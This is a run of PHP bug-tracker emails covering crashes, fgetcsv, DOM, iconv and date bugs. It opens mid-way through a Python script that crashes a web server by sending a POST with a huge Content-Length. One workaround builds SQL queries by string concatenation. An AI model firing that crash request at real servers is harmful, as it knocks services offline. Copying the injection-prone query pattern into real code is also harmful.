target = "127.0.0.1"
port = 80;
request = "POST / HTTP/1.1\n"
request += "Content-Type: application/x-www-form-urlencoded\n"
request += "Content-Length: 2147483638\n\n" # <-- Choose size larger than the
available memory on target
request += "A=B\n\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((target, port))
except:
print "[-] Connection to %s:%s failed!" % (target, port)
sys.exit(0)
print "[+] Sending HTTP request. Check for crash on target."
s.send(request)
s.close()
--
Edit this bug report at https://bugs.php.net/bug.php?id=61509&edit=1
Req #35745 [Opn->Wfx]: Status of persistent socket connections in stream_get_meta_data
Edit report at https://bugs.php.net/bug.php?id=35745&edit=1 ID: 35745 Updated by: yohg...@php.net Reported by:gavin dot brown at uk dot com Summary:Status of persistent socket connections in stream_get_meta_data -Status: Open +Status: Wont fix Type: Feature/Change Request -Package:Feature/Change Request +Package:*General Issues Operating System: All PHP Version:5.1.1 Block user comment: N Private report: N New Comment: The idea of persistent of connection is "connect always, but if there isn't connection yet, then make connection". If you need persistent connection, use pfsockopen() always. Persistent connection is managed by connection ID internally, so it's possible to make pfsock_is_open() - return TRUE if already opened. or something like this. If you still feel you would like to have this, reopen this report. Previous Comments: [2005-12-20 14:48:05] gavin dot brown at uk dot com Description: Currently, there is now way to determine if the pfsockopen() created a new connection or used an existing connection. Expected result: This information is very important for some protocols (specifically, the EPP protocol, RFC 3730, and its TCP transport specification in RFC 3734), which uses a stateful session management system. I'd suggest something like this: the value of $data[persistent] might be one of "new" or "existing", depending on whether the previous pfsockopen() had to create a new connection, or was able to reuse an existing one. This would be very useful for protocols like EPP (see RFC 3734) and IMAP, which are stateful, and for which negotiation and authentication are done once, upon connection. -- Edit this bug report at https://bugs.php.net/bug.php?id=35745&edit=1
Bug #54353 [Opn]: Outputs While trying to call
Edit report at https://bugs.php.net/bug.php?id=54353&edit=1
ID: 54353
Updated by: yohg...@php.net
Reported by:drmorgue at yandex dot ru
Summary:Outputs While trying to call
Status: Open
Type: Bug
Package:COM related
-Operating System: Windows 2008 Server
+Operating System: Windows7/Windows 2008 Server
-PHP Version:5.3.6
+PHP Version:5.5.1
Block user comment: N
Private report: N
New Comment:
Under Windows 7 Ultimate(32bit) & Office 2013's Excel & PHP 5.5.1, I got
different error. (I changed save path to c:\php, since it raise write error)
C:\php>php t.php
PHP Fatal error: Uncaught exception 'com_exception' with message 'Error
[0x80020003] ã¡ã³ãã¼ãè¦ã¤ããã¾ããã
' in C:\php\t.php:12
Stack trace:
#0 C:\php\t.php(12): com->Release()
#1 {main}
thrown in C:\php\t.php on line 12
Fatal error: Uncaught exception 'com_exception' with message 'Error
[0x80020003]
ã¡ã³ãã¼ãè¦ã¤ããã¾ããã ("Cannot find member" in English)
' in C:\php\t.php:12
Stack trace:
#0 C:\php\t.php(12): com->Release()
#1 {main}
thrown in C:\php\t.php on line 12
Previous Comments:
[2011-03-22 18:10:05] drmorgue at yandex dot ru
Description:
On my WinXP computer with Office 2003 all work correctly, php-script (see it in
section 'test script') generates ms-excel file 1.xls. But on the computer with
windows2008server this php-script generates an error:
Fatal error: Uncaught exception 'com_exception' with message 'Source:
Microsoft Office ExcelDescription: Ðевозможно
полÑÑиÑÑ ÑвойÑÑво Save
клаÑÑа Workbook' in C:\www\prj\1.php:12 Stack trace: #0
C:\www\prj\1.php(9):
variant->Save() #1 {main} thrown in C:\www\prj\1.php on line 9
My php installed as an apache handler.
How to solve it?
Test script:
---
$x = new COM("Excel.Application");
$x->Application->Visible = 1;
$x->Workbooks->Add();
$x->ActiveSheet->StandardWidth = 5;
$r = $x->Range("a:a");
$r->Select();
$rc = $x->Selection();
$rc->ColumnWidth = 50;
$x->Workbooks[1]->SaveAs("c:/1.xls");
$x->Quit();
$x->Release();
$x = Null;
$r = Null;
Expected result:
File 1.xls must be generated and saved into C:\
Actual result:
--
Fatal error: Uncaught exception 'com_exception' with message 'Source:
Microsoft Office ExcelDescription: Ðевозможно
полÑÑиÑÑ ÑвойÑÑво Save
клаÑÑа Workbook' in C:\www\prj\1.php:12 Stack trace: #0
C:\www\prj\1.php(9):
variant->Save() #1 {main} thrown in C:\www\prj\1.php on line 9
--
Edit this bug report at https://bugs.php.net/bug.php?id=54353&edit=1
Bug #65196 [Opn]: Passing DOMDocumentFragment to DOMDocument::saveHTML() Produces invalid Markup
Edit report at https://bugs.php.net/bug.php?id=65196&edit=1
ID: 65196
Updated by: yohg...@php.net
Reported by:baileyp at comcast dot net
Summary:Passing DOMDocumentFragment to
DOMDocument::saveHTML() Produces invalid Markup
Status: Open
Type: Bug
Package:DOM XML related
-Operating System: OSX 10.8.4 & CentOS 6.4
+Operating System: any
PHP Version:master-Git-2013-07-03 (Git)
Block user comment: N
Private report: N
New Comment:
Reproduced with Windows7 & Fedora19 & PHP5.5
Previous Comments:
[2013-07-03 20:34:21] baileyp at comcast dot net
Bug also reproducible on GNU/Linux CentOS 6.4.
[2013-07-03 19:50:29] baileyp at comcast dot net
It seems that this is a discrepancy between how saveHTML() and saveXML()
function,
because replacing saveHTML() in the above code with saveXML() produces the
expected result:
var_dump($dom->saveXML($frag1)); // string(0) ""
var_dump($dom->saveXML($frag2)); // string(6) ""
[2013-07-03 19:41:28] baileyp at comcast dot net
Description:
When trying to save the contents of a HTML document's body without the
surrounding
tags I had the idea of appending all of the childNodes to a
DOMDocumentFragment and then passing it as the first argument ($node) to
DOMDocument::saveHTML(). However, I discovered a bug in doing so. Saving
returns
invalid markup with empty tags (<>) surrounding the content.
I have reproduced this is both 5.4.11 (with libxml 2.7.8) and 5.5.0 (with
libxml
2.7.6).
Test script:
---
createDocumentFragment();
var_dump($dom->saveHTML($frag1));
$frag2 = $dom->createDocumentFragment();
$frag2->appendChild($dom->createElement('div'));
var_dump($dom->saveHTML($frag2));
Expected result:
string(0) ""
string(11) ""
Actual result:
--
string(5) "<>"
string(16) "<>"
--
Edit this bug report at https://bugs.php.net/bug.php?id=65196&edit=1
Bug #53443 [Opn->Fbk]: configure --with-iconv=/path/to/iconv picks up host iconv
Edit report at https://bugs.php.net/bug.php?id=53443&edit=1 ID: 53443 Updated by: yohg...@php.net Reported by:fransmeulenbroeks at gmail dot com Summary:configure --with-iconv=/path/to/iconv picks up host iconv -Status: Open +Status: Feedback Type: Bug Package:Compile Failure Operating System: linux PHP Version:5.2SVN-2010-12-01 (snap) Block user comment: N Private report: N New Comment: Please try using this snapshot: http://snaps.php.net/php5.4-latest.tar.gz For Windows: http://windows.php.net/snapshots/ Breifly looking PHP 5.5's configure script, it seems ok. Previous Comments: [2011-01-10 18:16:56] poopsm at gmail dot com I'm having this same problem with php 5.3.5, and this patch isn't fixing it. When using the options --with-iconv --with-iconv-dir=/usr/local/iconv I still get checking if iconv is glibc's... yes but it should be using libiconv [2010-12-01 22:58:12] fransmeulenbroeks at gmail dot com Description: configure --with-iconv=/path/to/iconv picks up the host iconv ext/iconv/config.m4 does not take the case that a dir is given into account. I fixed this by adding $PHP_ICONV to the for loop. This patch makes the code identical to a similar snippet of code in acinclude.m4 The problem has been detected in 5.2.13 but I verified the 5.2 snap from today and the problem is still there. Attached patch fixes the problem Index: php-5.2.13/ext/iconv/config.m4 === --- php-5.2.13.orig/ext/iconv/config.m4 +++ php-5.2.13/ext/iconv/config.m4 @@ -15,7 +15,7 @@ if test "$PHP_ICONV" != "no"; then if test "$iconv_avail" != "no"; then if test -z "$ICONV_DIR"; then - for i in /usr/local /usr; do + for i in $PHP_ICONV /usr/local /usr; do if test -f "$i/include/iconv.h" || test -f "$i/include/giconv.h"; then PHP_ICONV_PREFIX="$i" break ~ -- Edit this bug report at https://bugs.php.net/bug.php?id=53443&edit=1
Bug #51695 [Ver]: CLI interactive mode broken without readline/editline
Edit report at https://bugs.php.net/bug.php?id=51695&edit=1 ID: 51695 Updated by: yohg...@php.net Reported by:IMadeThisUpForBugzilla at yahoo dot com Summary:CLI interactive mode broken without readline/editline Status: Verified Type: Bug Package:CGI/CLI related Operating System: any PHP Version:master Block user comment: N Private report: N New Comment: May be we should print error & exit when readline/editline is not available. Previous Comments: [2013-08-01 23:25:18] yohg...@php.net May be we should print error & exit when readline/editline is not available. [2012-08-31 15:25:33] luis dot pessoa67 at ibest dot com dot br This code works fine: (tag ?> missing) c:\php> .\php.exe -an Interactive mode enabled ^Z hi c:\php> [2010-08-18 13:19:36] peter at niederlag dot de unfortunatly as of now this makes the interactive shell mostly useless for debian users. :-< [2010-05-02 00:35:50] geiss...@php.net This can be reproduced by building the CLI SAPI without readline/editline support (like we currently do at Debian because of an editline bug.) One has to send an EOF so that the input is processed, but one can not do anything afterwards: php exits. [2010-04-29 12:07:45] IMadeThisUpForBugzilla at yahoo dot com Description: Run php at the command line in Windows in interactive mode (php -a), echo something, nothing happens until the process is ended (see test script for example command line session). Doesn't work in PHP 5.3.X. Does work in PHP 5.2.X. Tried Zend build, version shipped with eclipse, and version distributed on windows.php.net VC6 and VC9. Test script: --- c:\php> .\php.exe -an Interactive mode enabled Expected result: Session example included. Should output the string 'hi' to the console after "echo 'hi';" (this is correct in PHP 5.2.X) Actual result: -- Nothing output after executing "echo 'hi';" line. See test script for example session at command line. -- Edit this bug report at https://bugs.php.net/bug.php?id=51695&edit=1
Bug #51695 [Opn->Ver]: CLI interactive mode broken without readline/editline
Edit report at https://bugs.php.net/bug.php?id=51695&edit=1 ID: 51695 Updated by: yohg...@php.net Reported by:IMadeThisUpForBugzilla at yahoo dot com Summary:CLI interactive mode broken without readline/editline -Status: Open +Status: Verified Type: Bug Package:CGI/CLI related -Operating System: Windows XP SP 3 +Operating System: any -PHP Version:5.3.2 +PHP Version:master Block user comment: N Private report: N New Comment: May be we should print error & exit when readline/editline is not available. Previous Comments: [2012-08-31 15:25:33] luis dot pessoa67 at ibest dot com dot br This code works fine: (tag ?> missing) c:\php> .\php.exe -an Interactive mode enabled ^Z hi c:\php> [2010-08-18 13:19:36] peter at niederlag dot de unfortunatly as of now this makes the interactive shell mostly useless for debian users. :-< [2010-05-02 00:35:50] geiss...@php.net This can be reproduced by building the CLI SAPI without readline/editline support (like we currently do at Debian because of an editline bug.) One has to send an EOF so that the input is processed, but one can not do anything afterwards: php exits. [2010-04-29 12:07:45] IMadeThisUpForBugzilla at yahoo dot com Description: Run php at the command line in Windows in interactive mode (php -a), echo something, nothing happens until the process is ended (see test script for example command line session). Doesn't work in PHP 5.3.X. Does work in PHP 5.2.X. Tried Zend build, version shipped with eclipse, and version distributed on windows.php.net VC6 and VC9. Test script: --- c:\php> .\php.exe -an Interactive mode enabled Expected result: Session example included. Should output the string 'hi' to the console after "echo 'hi';" (this is correct in PHP 5.2.X) Actual result: -- Nothing output after executing "echo 'hi';" line. See test script for example session at command line. -- Edit this bug report at https://bugs.php.net/bug.php?id=51695&edit=1
Req #43574 [Opn->Csd]: unclear error message on allow_url_fopen=0
Edit report at https://bugs.php.net/bug.php?id=43574&edit=1
ID: 43574
Updated by: yohg...@php.net
Reported by:greg at chiaraquartet dot net
Summary:unclear error message on allow_url_fopen=0
-Status: Open
+Status: Closed
Type: Feature/Change Request
Package:Streams related
Operating System: n/a
PHP Version:5.3CVS-2007-12-12 (CVS)
-Assigned To:
+Assigned To:yohgaki
Block user comment: N
Private report: N
New Comment:
Already fixed.
Previous Comments:
[2007-12-12 03:35:31] greg at chiaraquartet dot net
Description:
if one tries to use the data stream (or any url-based stream), the error
message is:
%s:// wrapper is disabled in the server configuration
It would be more helpful if it said:
s:// wrapper is disabled in the server configuration by allow_url_fopen=0
Reproduce code:
---
Index: main/streams/streams.c
===
RCS file: /repository/php-src/main/streams/streams.c,v
retrieving revision 1.82.2.6.2.18.2.1
diff -u -r1.82.2.6.2.18.2.1 streams.c
--- main/streams/streams.c 6 Nov 2007 11:02:36 -
1.82.2.6.2.18.2.1
+++ main/streams/streams.c 12 Dec 2007 03:33:09 -
@@ -1621,7 +1621,7 @@
if (options & REPORT_ERRORS) {
/* protocol[n] probably isn't '\0' */
char *protocol_dup = estrndup(protocol, n);
- php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s://
wrapper is disabled in the server configuration", protocol_dup);
+ php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s://
wrapper is disabled in the server configuration by allow_url_fopen=0",
protocol_dup);
efree(protocol_dup);
}
return NULL;
--
Edit this bug report at https://bugs.php.net/bug.php?id=43574&edit=1
Bug #43110 [Opn->Fbk]: MSSQL_BIND won't work with datetime parameter
Edit report at https://bugs.php.net/bug.php?id=43110&edit=1
ID: 43110
Updated by: yohg...@php.net
Reported by:lhelmer at suezenergyna dot com
Summary:MSSQL_BIND won't work with datetime parameter
-Status: Open
+Status: Feedback
Type: Bug
Package:MSSQL related
Operating System: Win2003
PHP Version:5.2.4
Block user comment: N
Private report: N
New Comment:
Please try using this snapshot:
http://snaps.php.net/php5.4-latest.tar.gz
For Windows:
http://windows.php.net/snapshots/
Previous Comments:
[2008-01-21 22:36:00] leo dot avatar at hoptmail dot com
execute stored procedure of mssql server with php5 using parameters type
datetime
[2007-10-26 20:05:10] lhelmer at suezenergyna dot com
Description:
I'm trying to execute a MSSQL stored procedure from PHP and I need to pass a
datetime parameter... when I do this the sp fails.
My bind statement is as follows
mssql_bind($proc,"@RequestDate",$RecDate,SQLVARCHAR,false,false,10);
In a different situation I pass an integer parameter and that sp works. That
bind statement is as follows
mssql_bind($proc,"@Load",$MWLoad,SQLVARCHAR);
I know my stored procedure "CalculateDailyTotals" works because I use them
everday in a scheduled job. It seems the problem is related to passing a
datetime value to the stored procedure.
Reproduce code:
---
$RecDate=$_POST['RecalcDate']; // RecalcDate = 2007-10-25
$db = mssql_connect("***","sa","***") or die("Unable to connect to server");
mssql_select_db("Reporting");
$proc = mssql_init("CalculateDailyTotals", $db);
mssql_bind($proc,"@RequestDate",$RecDate,SQLVARCHAR,false,false,10);
$Result = mssql_execute($proc);
if ($Result == 1){
echo "Succes";
} ELSE {
echo "Failure";
}
Expected result:
Success
Actual result:
--
Failure
--
Edit this bug report at https://bugs.php.net/bug.php?id=43110&edit=1
Bug #63863 [Com]: DateTime:setDate() date not used after modify("last day of...")
Edit report at https://bugs.php.net/bug.php?id=63863&edit=1
ID: 63863
Comment by: f21 dot groups at gmail dot com
Reported by:brian dot feaver at sellingsource dot com
Summary:DateTime:setDate() date not used after modify("last
day of...")
Status: Open
Type: Bug
Package:Date/time related
Operating System: Mac OS X
PHP Version:5.3.20
Block user comment: N
Private report: N
New Comment:
I am also seeing this in PHP 5.5.1 on Ubuntu 13.04 x64.
Previous Comments:
[2013-04-04 17:03:08] armin at fruux dot com
Besides from being able to reproduce this completely, it also happens
when using setTimestamp(), as the day keeps being 'last day of month'.
PHP version: 5.4.9
OS: Mac OS X
Test script:
modify("last day of last month");
var_dump($date->format('Y-m-d')); // correctly last day of Feb
$date->setTimestamp(1327881600); // 2012-01-30
var_dump($date->format('Y-m-d')); // incorrect date
$date->modify('2012-01-30');
var_dump($date->format('Y-m-d')); // does set correct date
[2012-12-27 18:52:32] brian dot feaver at sellingsource dot com
Description:
When modifying a DateTime object with modify("last day of last month") syntax
and
followed by a setDate(), the date portion of setDate() is ignored. It modifies
the
year and the month, but continues to set the day portion to the last day of the
month.
If modify() is called with the absolute date instead of setDate(), it correctly
sets the date.
Test script:
---
modify("last day of last month");
var_dump($date->format('Y-m-d')); // correctly last day of Feb
$date->setDate(2012, 1, 30);
var_dump($date->format('Y-m-d')); // incorrect date
$date->modify('2012-01-30');
var_dump($date->format('Y-m-d')); // does set correct date
Expected result:
string(10) "2012-02-29"
string(10) "2012-01-30"
string(10) "2012-01-30"
Actual result:
--
string(10) "2012-02-29"
string(10) "2012-01-31"
string(10) "2012-01-30"
--
Edit this bug report at https://bugs.php.net/bug.php?id=63863&edit=1
Bug #61748 [Opn->Csd]: New PHPT test for PDO_sqlite
Edit report at https://bugs.php.net/bug.php?id=61748&edit=1
ID: 61748
Updated by: yohg...@php.net
Reported by:chris at kombine dot co dot uk
Summary:New PHPT test for PDO_sqlite
-Status: Open
+Status: Closed
Type: Bug
Package:Testing related
Operating System: linux (Xubuntu 11.10 64bit)
PHP Version:5.4.1RC2
-Assigned To:
+Assigned To:yohgaki
Block user comment: N
Private report: N
New Comment:
Applied.
Previous Comments:
[2012-04-16 21:09:18] chris at kombine dot co dot uk
Description:
This is my first (small) contribution to the QA testing effort. I was advised
to
submit the test here as a bug to keep track of it.
Default php.ini
Test script:
---
--TEST--
PDO_sqlite: Testing sqliteCreateFunction() produces warning when
un-callable function passed
--CREDITS--
Chris MacPherson ch...@kombine.co.uk
--SKIPIF--
--FILE--
sqliteCreateFunction('bar-alias', 'bar');
?>
--EXPECTF--
Warning: PDO::sqliteCreateFunction(): function 'bar' is not callable
in %s on line %d
--
Edit this bug report at https://bugs.php.net/bug.php?id=61748&edit=1
Req #29060 [Opn->Wfx]: more settings to current main/rfc1867.c implement logic
Edit report at https://bugs.php.net/bug.php?id=29060&edit=1 ID: 29060 Updated by: yohg...@php.net Reported by:xuefer at 21cn dot com Summary:more settings to current main/rfc1867.c implement logic -Status: Open +Status: Wont fix Type: Feature/Change Request -Package:Feature/Change Request +Package:*General Issues Operating System: all PHP Version:4.3.7 Block user comment: N Private report: N New Comment: You can work around these limitations by using PERDIR ini setting and/or dedicated virtual server ini setting. Previous Comments: [2004-07-08 08:32:35] xuefer at 21cn dot com Description: the current "resource control" logic main/rfc1867.c implemented is not pretty enough. it didn't take enough care of server resources when user upload "too large" file issue 1. memory i'd like to set post_max_size=2M or 3M etc. but i can't, cos upload file size often exceeds this limit. then i let it be 8M, but how if someone just post a 8m text(not file)? 8M data is get into php's memory, just 10 users can make php use 80MB memory, well there is memory_limit, but it seems only good for "php script execution memory usage", the $_POST size should be calc "alone" issue 2. network traffic i'd like to tune upload_max_size=8M (each file). some user can only upload 1M pre file, we can set MAX_FILE_SIZE="", but then? php read up to 1M, and notice it exceeded MAX_UPLOAD_SIZE. canceling upload, starting to execute phpscript. this however waste 1Mbyte traffic, which is 8Mbits(also waste of time, _bad_ user experience) issue 3. temp disk usage when i set upload_max_size=1M, and post_max_upload=8M with 8 multi uploads, each 1M, can eat up 8M disk usage(temp file). well this isn't a teribble issue. at least, disk is always larger than memory it's nice if we can control: max $_POST size ini=?? (for "issue 1", memory usage) form=not needed max Request-Content-Length ini=post_max_size form=??? (for "issue 2", cancel upload ASAP) max size per file ini=upload_max_filesize form=MAX_FILE_SIZE max total file size ini=needed? form=needed? ini means: hard set in ini form means: soft set in form, -- Edit this bug report at https://bugs.php.net/bug.php?id=29060&edit=1
Bug #65368 [Opn->Dup]: fgetcsv not working for Unicode delimiter
Edit report at https://bugs.php.net/bug.php?id=65368&edit=1
ID: 65368
Updated by: yohg...@php.net
Reported by:gauweiler at epoq dot de
Summary:fgetcsv not working for Unicode delimiter
-Status: Open
+Status: Duplicate
Type: Bug
Package:Filesystem function related
PHP Version:5.5.1
Block user comment: N
Private report: N
New Comment:
Basically the same issue as #55507
Previous Comments:
[2013-07-31 15:01:53] gauweiler at epoq dot de
Description:
fgetcsv does not work if you have a unicode delimiter like § (paragraph).
setlocale() doesn't help.
Test script:
---
error_reporting(E_ALL);
$enclosure='"';
$escape='"';
$delimiter=",";
$fh = tmpfile();
fwrite($fh,utf8_encode('"first"'.$delimiter.'"second"'.$delimiter.'"third"'."\n"));
fwrite($fh,utf8_encode('"one"'.$delimiter.'"two""two"'.$delimiter.'"three"'."\n"));
fseek($fh,0);
while (($data = fgetcsv($fh, 0, $delimiter,$enclosure,$escape)) !== FALSE) {
print_r($data);
}
fclose($fh);
$delimiter=chr(167); // §
$fh = tmpfile();
fwrite($fh,utf8_encode('"first"'.$delimiter.'"second"'.$delimiter.'"third"'."\n"));
fwrite($fh,utf8_encode('"one"'.$delimiter.'"two""two"'.$delimiter.'"three"'."\n"));
$delimiter=utf8_encode($delimiter);
fseek($fh,0);
while (($data = fgetcsv($fh, 0, $delimiter,$enclosure,$escape)) !== FALSE) {
print_r($data);
}
fclose($fh);
Expected result:
The line is splitted by unicode delimiter also. No warnings appear.
Array
(
[0] => first
[1] => second
[2] => third
)
Array
(
[0] => one
[1] => two"two
[2] => three
)
Array
(
[0] => first
[1] => second
[2] => third
)
Array
(
[0] => one
[1] => two"two
[2] => three
)
Actual result:
--
Warnings appear: "Notice: fgetcsv(): delimiter must be a single character in..."
The line is splitted using , but not using §:
Array
(
[0] => first
[1] => second
[2] => third
)
Array
(
[0] => one
[1] => two"two
[2] => three
)
Array
(
[0] => first§"second"§"third"
)
Array
(
[0] => one§"two""two"§"three"
)
--
Edit this bug report at https://bugs.php.net/bug.php?id=65368&edit=1
Bug #55507 [Opn]: fgetcsv() handles invalid characters inconsistently
Edit report at https://bugs.php.net/bug.php?id=55507&edit=1
ID: 55507
Updated by: yohg...@php.net
Reported by:gtisza at gmail dot com
Summary:fgetcsv() handles invalid characters inconsistently
Status: Open
Type: Bug
Package:Filesystem function related
Operating System: Linux
PHP Version:Irrelevant
Block user comment: N
Private report: N
New Comment:
Related to #65368
Previous Comments:
[2012-05-06 16:47:36] dll at fugro dot no
I had similar problems using the Norwegian letter "Ã" as the first letter in
the elements it was simply not there after the fgetcsv transfer. The following
WORKAROUND worked for me using explode().
dee ell ell at fugro dot no
//read the text file into a variable
$txt=read_txtfile("test.txt");
//explode the stream into an array of $nr rows
$rowArr = explode("\n", $txt);
$nr=count($rowArr);
For ($r=0;$r<$nr;$r++){
$insert_data="'".str_replace(";", "','",$rowArr[$r])."'";
//insert each row in the DB table "test"
$query_string=" INSERT INTO test (name,name2)"
." VALUES (".$insert_data.")";
$result_id = mysql_query($query_string, $my_conn)
or die("display_db_query:" . mysql_error());
}
If ($result_id ==1){echo $nr." rows transfered\n"; }
Function read_txtfile($infile){
// read text data from file into a variable
$txt='';
$fo=fopen($infile,"r");
$txt=fread($fo,filesize($infile));
fclose($fo);
return $txt;
}
===
If there is a need to access each data column in the row before transferring,
these can easily be accessed by exploding each row once more in an inner loop.
[2011-10-22 09:33:39] r dot fiedler at ovm dot de
In the window-versions it works correct,
I got the error under php 5.2.6-1+lenny13
[2011-08-25 12:46:51] gtisza at gmail dot com
Description:
fgetcsv() throws away the first character of a field if it is invalid in the
current locale, but ignores invalid characters which are not at the beginning
of a field. The inconsistent behavior makes it hard to locate the source of the
bug; it should either throw all invalid characters away, or none of them (IMO
the second is much better).
(This is a duplicate of bug 45356, but that one has been closed as "no
feedback", and apparently mere mortals are not allowed to reopen it, even if
they do provide the feedback...)
Test script:
---
--
Edit this bug report at https://bugs.php.net/bug.php?id=55507&edit=1
Bug #65372 [Opn->Ver]: Segfault in gc_zval_possible_root
Edit report at https://bugs.php.net/bug.php?id=65372&edit=1 ID: 65372 Updated by: larue...@php.net Reported by:sreed at ontraport dot com Summary:Segfault in gc_zval_possible_root -Status: Open +Status: Verified Type: Bug Package:Reproducible crash Operating System: Fedora PHP Version:5.4Git-2013-08-01 (Git) Block user comment: N Private report: N Previous Comments: [2013-08-01 19:18:26] sreed at ontraport dot com Description: PHP is segfaulting during shutdown in gc_zval_possible_root. This bug appears to have appeared in version 5.4: http://3v4l.org/qLqe3. Test script: --- https://gist.github.com/sreed-ontraport/6134324 Expected result: Script executes and PHP exits cleanly Actual result: -- 0x006a0032 in gc_zval_possible_root (zv=0x77fc5108) at /tmp/php5.4- 201308011830/Zend/zend_gc.c:143 143 GC_ZOBJ_CHECK_POSSIBLE_ROOT(zv); (gdb) bt #0 0x006a0032 in gc_zval_possible_root (zv=0x77fc5108) at /tmp/php5.4-201308011830/Zend/zend_gc.c:143 #1 0x006a1c47 in zend_object_std_dtor (object=0x77fc8970) at /tmp/php5.4-201308011830/Zend/zend_objects.c:54 #2 0x006a1c79 in zend_objects_free_object_storage (object=0x77fc8970) at /tmp/php5.4-201308011830/Zend/zend_objects.c:137 #3 0x006a74c8 in zend_objects_store_free_object_storage (objects=0xd8a0a0 ) at /tmp/php5.4- 201308011830/Zend/zend_objects_API.c:92 #4 0x0067396b in shutdown_executor () at /tmp/php5.4- 201308011830/Zend/zend_execute_API.c:295 #5 0x00681aa6 in zend_deactivate () at /tmp/php5.4- 201308011830/Zend/zend.c:938 #6 0x0062417d in php_request_shutdown (dummy=dummy@entry=0x0) at /tmp/php5.4-201308011830/main/main.c:1803 #7 0x00726094 in do_cli (argc=2, argv=0x7fffe148) at /tmp/php5.4- 201308011830/sapi/cli/php_cli.c:1172 #8 0x004255ca in main (argc=2, argv=0x7fffe148) at /tmp/php5.4- 201308011830/sapi/cli/php_cli.c:1365 -- Edit this bug report at https://bugs.php.net/bug.php?id=65372&edit=1
Bug #65367 [Opn]: Segmentation fault when mixing =& and =
Edit report at https://bugs.php.net/bug.php?id=65367&edit=1
ID: 65367
Updated by: larue...@php.net
Reported by:mbecc...@php.net
Summary:Segmentation fault when mixing =& and =
Status: Open
Type: Bug
Package:Reproducible crash
Operating System: Any
PHP Version:5.5.1
Block user comment: N
Private report: N
New Comment:
Seems similar to #65372
Previous Comments:
[2013-07-31 11:13:15] mbecc...@php.net
I forgot to mention that you can easily install the necessary PEAR libraries in
the current dir without polluting the global PEAR installation with:
pear install -R . MDB2 MDB2#pgsql
[2013-07-31 11:10:29] mbecc...@php.net
Description:
While updating an old open source application to work with PHP 5.4 and 5.5, I
somehow managed to trigger a segmentation fault when removing an =& assignment.
I've been able to write a small reproduce script, which however still requires
MDB2 from PEAR (tested only with the pgsql driver).
Changing back a specific assignment to =& prevents the shutdown segfault from
happening.
The code works fine with 5.3 and crashes on 5.4+. Tested on Windows and Linux.
Test script:
---
loadModule('Datatype');
$GLOBALS['DB'] = $db; // Using =& $db doesn't crash
return $GLOBALS['DB'];
}
}
class B {
function __construct()
{
$this->db =& $this->getDb();
}
function &getDB()
{
return A::singleton();
}
}
$b = new B();
Expected result:
PHP Notice: Only variable references should be returned by reference in
foobar.php on line 25
Actual result:
--
#0 0x00812979 in gc_zval_possible_root (zv=0x7fffeef256e0) at
/root/compile/php-5.5.1/Zend/zend_gc.c:143
No locals.
#1 0x00801268 in zend_hash_destroy (ht=0x7fffeef2b4a0) at
/root/compile/php-5.5.1/Zend/zend_hash.c:560
p = 0x7fffeef2b860
q = 0x7fffeef2b7b0
#2 0x007f206b in _zval_dtor_func (zvalue=0x7fffeef2b470) at
/root/compile/php-5.5.1/Zend/zend_variables.c:45
No locals.
#3 0x007e3178 in _zval_dtor (zvalue=0x7fffeef2b470) at
/root/compile/php-5.5.1/Zend/zend_variables.h:35
No locals.
#4 i_zval_ptr_dtor (zval_ptr=0x7fffeef2b470) at
/root/compile/php-5.5.1/Zend/zend_execute.h:81
No locals.
#5 _zval_ptr_dtor (zval_ptr=) at
/root/compile/php-5.5.1/Zend/zend_execute_API.c:426
No locals.
#6 0x00801268 in zend_hash_destroy (ht=0x7fffeef28b10) at
/root/compile/php-5.5.1/Zend/zend_hash.c:560
p = 0x7fffeef2bfd0
q = 0x7fffeef2ba80
#7 0x007f206b in _zval_dtor_func (zvalue=0x7fffeef28778) at
/root/compile/php-5.5.1/Zend/zend_variables.c:45
No locals.
#8 0x007e3178 in _zval_dtor (zvalue=0x7fffeef28778) at
/root/compile/php-5.5.1/Zend/zend_variables.h:35
No locals.
#9 i_zval_ptr_dtor (zval_ptr=0x7fffeef28778) at
/root/compile/php-5.5.1/Zend/zend_execute.h:81
No locals.
#10 _zval_ptr_dtor (zval_ptr=) at
/root/compile/php-5.5.1/Zend/zend_execute_API.c:426
No locals.
#11 0x00801268 in zend_hash_destroy (ht=0x7fffeef2cbb8) at
/root/compile/php-5.5.1/Zend/zend_hash.c:560
p = 0x7fffeef2ce78
q = 0x7fffeef2ce20
#12 0x0081579c in zend_object_std_dtor (object=0x7fffeef27cb0) at
/root/compile/php-5.5.1/Zend/zend_objects.c:44
No locals.
#13 0x00815829 in zend_objects_free_object_storage
(object=0x7fffeef27cb0) at /root/compile/php-5.5.1/Zend/zend_objects.c:137
No locals.
#14 0x0081b476 in zend_objects_store_free_object_storage
(objects=0x1085120)
at /root/compile/php-5.5.1/Zend/zend_objects_API.c:92
obj =
i =
#15 0x007e37e3 in shutdown_executor () at
/root/compile/php-5.5.1/Zend/zend_execute_API.c:293
__orig_bailout = 0x7fffe460
__bailout = {{__jmpbuf = {17321344, -8869895244590628792, 0, 0, 0,
17333536, 8869894737283235912, -8869895235585851320},
__mask_was_saved = 0, __saved_mask = {__val = {9576849035021516823,
0, 8402366, 17291648, 17319392, 140737353913872,
140737353912280, 140737353913920, 140737353912280, 0, 17321080,
1, 0, 0, 8330270, 17320992
#16 0x007f3075 in zend_deactivate () at
/root/compile/php-5.5.1/Zend/zend.c:939
No locals.
#17 0x00791637 in php_request_shutdown (dummy=) at
/root/compile/php-5.5.1/main/main.c:1803
report_memleaks = 1 '\001'
--
Edit this bug report at https://bugs.php.net/bug.php?id=65367&edit=1
Req #40035 [Opn->Csd]: get_html_translation_table() ignores locale + [RFE] option to override charset
